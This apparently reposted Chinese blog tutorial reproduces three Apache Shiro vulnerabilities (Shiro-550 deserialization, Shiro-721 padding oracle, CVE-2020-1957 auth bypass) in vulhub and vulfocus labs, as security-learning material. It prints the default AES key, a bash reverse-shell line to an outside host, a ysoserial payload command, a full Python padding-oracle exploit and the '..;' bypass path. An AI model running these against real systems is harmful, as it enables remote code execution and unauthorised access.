Shiro框架漏洞分析与复现

这篇具有很好参考价值的文章主要介绍了Shiro框架漏洞分析与复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Shiro简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

1、Shiro反序列化漏洞(CVE-2016-4437,Shiro-550)

漏洞原理:

shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

  1. 检索RememberMe Cookie的值

  2. 进行Base64解码

  3. 进行AES解码

  4. 进行反序列化操作

由于在第4步中的调用反序列化时未进行任何过滤,导致可以触发Java反序列化漏洞,进而在目标机器上执行任意命令。

由于使用了AES加密,利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。

影响版本:Shiro <= 1.2.4
环境搭建:

使用 vulhub 搭建环境,路径:

vulhub/shiro/CVE-2016-4437

启动容器:

docker-compose up -d

shiro漏洞检测,安全

访问 ip:8080 进入环境:

shiro漏洞检测,安全
随便输入账号密码,勾选上 Remember me,抓包
shiro漏洞检测,安全
可以看到响应包中出现了字段 set-Cookie: rememberMe=deleteMe,证明该系统使用了Shiro框架。

漏洞检测:

这里介绍两种检测 shiro 漏洞是否存在的工具。

第一种:Burp插件

下载链接 提取码:j43f
shiro漏洞检测,安全
按照上面的流程安装好插件后,当 Burp 抓到Shiro的数据包时会自动进行检测,当发现存在Shiro默认key时会告警。
shiro漏洞检测,安全

第二种:shiro_attack 下载链接

当目标系统存在漏洞时,检测结果如下图所示:
shiro漏洞检测,安全

漏洞利用:

还是使用上面的工具,爆破出利用链
shiro漏洞检测,安全
可以执行命令,来反弹个shell

bash -c 'exec bash -i &>/dev/tcp/192.168.50.131/7777 <&1'

shiro漏洞检测,安全
shiro漏洞检测,安全

2、Shiro反序列化漏洞(CVE-2019-12422,Shiro721)

漏洞原理:

和上面的 shiro550 差不多,只是 shiro721 用到的加密方式是 AES-CBC 加密,其中 AES 加密的 key 基本猜不到了,是系统随机生成的。但是这种加密模式可以通过 Padding Oracle Attack( Oracle 填充攻击 ),攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀,然后精心构造 RememberMe Cookie 来实施反序列化攻击。

这里的Oracle不是那个数据库,而是一种通过接收特定加密数据 , 解密并验证填充是否正确的方式。

攻击流程:

  1. 使用任意账户登陆目标网站,以获取一个合法的 RememberMe Cookie
  2. 将获取的值作为POA的前缀
  3. 加密反序列化的payload来构造恶意RememberMe Cookie
  4. 将构造好的恶意数据填充到 RememberMe Cookie 字段中并发送

必要条件:合法的RememberMe Cookie(需认证一次)

影响版本:Shiro < 1.4.2
漏洞环境:

使用 vulfocus 靶场的 shiro-721

复现过程:

1、先使用正确的账号密码登录后,在抓包获取合法 Cookie(勾选Remember Me),:
shiro漏洞检测,安全
认证失败则只能得到 rememberMe=deleteMe

2、使用Java反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial.jar CommonsBeanutils1 "ping dkngnv.dnslog.cn" > payload.class

ysoserial使用

下载源文件之后,通过maven编译生成jar包

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar

或者可以直接下载最新的jar包,下载链接

3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

Exp:

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
    print('rememberMe cookies:')
    print(b64encode(enc))
shiro_exp.py <url> <cookie value> <payload>
shiro_exp.py http://192.168.50.131:19013 SmfNcW9cXyL6gTts601iAULOw75rLeYT8dPtoZvIksPZg3bzUnsBTQSDAyFCptI6M8TQBoFPARAIC62r+FLv8I2Ap4GxwwWjCaVgRyVqUdDLQjYbXw8Um36CpAsy2nLzm0+u71k41588fAK9Ql7+3QU2BRYDKkLpl/iXwCZIsq9I3Vnrhoylt238vEUu0OzX+mGRyqMhms1rE4Jk4ZjSZoc8wRqnS0tT8FlqYSiHFQSsMiacxJqZ7iRYOblRG8pMJRWDqCUKJPY84Zx3O/l53gZ0YAPnuplS+3vD+I334zh5aNHgZuMSCv/0ekRhqEAFr1JwS1kd8hSCvTnkKgkjwY0uymox/9Oc6LlicXjS/arg/1/79wWR7qTjKCJpgENpt7oEhnPcLtmuLRguiiuPRXsUfFV+6ORJmX+ejd9Zx1KweCMD+3gz/LGQ76tifjv3wXembJJjdLPhi9g3lOsBcFlypkuUOrghMXvAHvzfHYu39ip/w9PCUdRkD3lbCOAj payload.class

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 3个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

shiro漏洞检测,安全

4、使用Evil Rememberme cookie 认证进行反序列化攻击:
shiro漏洞检测,安全
接收到记录,同理也可以执行其它系统命令。
shiro漏洞检测,安全
shiro721 也可以使用上面的工具,而且速度非常快。
shiro漏洞检测,安全
shiro漏洞检测,安全

3、Shiro权限绕过漏洞(CVE-2020-1957)

在 Apache Shiro 1.5.2 以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

漏洞原理:

Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。

  • anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。
  • authc为登陆拦截器,需要登陆才可以访问。

URL路径表达式通常为ANT格式。这个应用中对URL权限的配置如下:

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
    DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
    chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
    chainDefinition.addPathDefinition("/logout", "logout");
    chainDefinition.addPathDefinition("/admin/**", "authc");
    return chainDefinition;
}
Ant格式:? 匹配一个字符
        * 匹配零个或多个字符串
        ** 匹配路径中的零个或多个路径
        
/**可以匹配路径,即可以匹配到/user/test/,而/*只能匹配到单个或多个字符串,即/user/test。

shiro会以分号将传入的URI进行截断,并将分号以及分号后面的数据进行清空,返回分号前面的URI数据,从而让/a/b;/c变为/a/b

Spring对于分号的处理方式与Shiro不同,Spring会先获取分号的位置,并检测分号后是否存在/,如果有,将/的位置记录在slashIndex变量中,并将分号前的数据与/之后的数据进行拼接,从而让/a/b;/c变为/a/b/c。返回处理后的requestURI。

由于Spring与Shiro的decodeAndCleanUriString方法不同,攻击者可以使用分号构造路径,绕过Shiro认证,并可以匹配Spring的动态控制器。

即URL请求过程:

客户端请求URL: /xxx/..;/admin/
Shrio内部处理得到校验URL为 /xxx/..,校验通过。
SpringBoot 处理 /xxx/..;/admin/,最终请求 /admin/,成功访问了后台请求。

影响版本:Shiro < 1.5.3
环境搭建:

靶场路径:

vulhub/shiro/CVE-2020-1957

启动容器:

docker-compose up -d

shiro漏洞检测,安全

复现过程:

访问 /admin/ 目录
shiro漏洞检测,安全
回显302跳转,构造恶意请求 /xxx/..;/admin/
shiro漏洞检测,安全
成功绕过。文章来源地址https://www.toymoban.com/news/detail-583255.html

到了这里,关于Shiro框架漏洞分析与复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Shiro-721---漏洞复现

    Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行 rememberMe cookie 通过 AES-

    2024年02月01日
    浏览(26)
  • 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。 一、漏洞描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(41)
  • 漏洞复现 | Apache Shiro 授权绕过漏洞(CVE-2022-32532)

    0x00 漏洞描述         Apache Shiro 是一套用于执行认证、授权、加密和会话管理的 Java 安全框架。2022年06月29日 APache 官方发布了一则关于 Apache Shiro 的安全通告,Apache Shiro 1.9.1 前的版本 RegExPatternMatcher 在使用带有 “.” 的正则时,可能会导致权限绕过。漏洞源于 RegExPatter

    2024年02月02日
    浏览(40)
  • shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:Program FilesJava 2.冰蝎 C:UsersaliDesktoptoolsBehinder_v4.0.6 3.shiro反序列化 图形化工具 shiro attack2.2 C:UsersaliDesktoptoolsshiro_attack_2.2 4.shiro反序列化 命令行工具 C:UsersaliDesktoptoolsshiro_tool.jar 一.Shiro-550 CVE-2016-4437 序列化: 在Java中,把Java对象转换为字节序列(

    2023年04月08日
    浏览(48)
  • Shiro漏洞检测

    漏洞简介 : Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触

    2024年02月02日
    浏览(33)
  • shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后。 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护。 shiro550反序列化原理 cve编号:

    2024年02月05日
    浏览(56)
  • shiro漏洞原理以及检测key值原理

    Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 升级shiro版本并不能根本解决反序列化漏洞,代码复用会直

    2024年02月06日
    浏览(47)
  • shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    知道aes加密的key且目标服务器含有可利用的攻击链。 原理 在Shiro = 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中. 服务端收到登录请求后,

    2024年02月05日
    浏览(46)
  • 第六十四天 服务攻防-框架安全&CVE复现Apache shiro&Apache Solr

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic.JBoos,WebSphere, Jenkins,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring, Flask,jQuery等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3.开发框架-Python-django-Flask 4、开发框架-Javascript-Node.js-JQuery 5、其他框架Java-Apache Sh

    2024年02月21日
    浏览(42)
  • SpringBootCMS漏洞复现分析

    SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。 http://www.jrecm

    2024年02月08日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包